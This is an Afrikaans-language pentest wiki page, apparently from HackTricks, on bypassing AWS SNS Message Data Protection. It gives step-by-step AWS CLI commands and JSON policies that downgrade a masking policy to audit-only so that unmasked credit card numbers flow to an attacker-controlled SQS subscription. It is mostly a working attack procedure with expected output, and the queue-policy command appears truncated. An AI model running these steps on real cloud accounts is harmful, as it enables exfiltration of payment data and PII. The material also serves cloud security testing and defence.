# AWS - SNS Message Data Protection Bypass via Policy Downgrade

{{#include ../../../../banners/hacktricks-training.md}}

As jy `sns:PutDataProtectionPolicy` op 'n topic het, kan jy die Message Data Protection policy van Deidentify/Deny na Audit-only omskakel (of Outbound-beheer verwyder) sodat sensitiewe waardes (bv. kredietkaartnommers) onveranderd aan jou subscription gestuur word.

## Vereistes
- Machtigings op die teiken topic om `sns:PutDataProtectionPolicy` aan te roep (en gewoonlik `sns:Subscribe` as jy die data wil ontvang).
- Standaard SNS topic (Message Data Protection word ondersteun).

## Aanvalsstappe

- Veranderlikes

```bash
REGION=us-east-1
```

1) Skep 'n standaard topic en 'n aanvaller SQS queue, en staan slegs hierdie topic toe om na die queue te stuur

```bash
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
```

2) Koppel 'n data protection policy wat kredietkaartnommers op Outbound-boodskappe maskeer

```bash
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
```

3) Abonneer die aanvaller-queue en publiseer 'n boodskap met 'n toets kredietkaartnommer, en verifieer die maskeering

```bash
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
```

Verwagte uittreksel toon maskeering (hashes):
```json
"Message" : "payment:{cc:################}"
```
4) Verlaag die beleid na audit-only (geen deidentify/deny-stellings wat Outbound beïnvloed)

Vir SNS moet Audit-stellings Inbound wees. Deur die beleid te vervang met 'n Audit-only Inbound-stelling word enige Outbound de-identification verwyder, sodat boodskappe ongewysig na subskribente vloei.
```bash
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
```

5) Publiseer dieselfde boodskap en verifieer dat die ontmaskerde waarde afgelewer word
```bash
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
```
Verwagte uittreksel wys klarteks CC:
```text
4539894458086459
```
## Impak
- Deur 'n topic te skakel van de-identification/deny na audit-only (of andersins Outbound controls te verwyder) kan PII/secrets onveranderd deurgaan na attacker-controlled subscriptions, wat data exfiltration moontlik maak wat andersins gemaskeer of geblokkeer sou word.

{{#include ../../../../banners/hacktricks-training.md}}
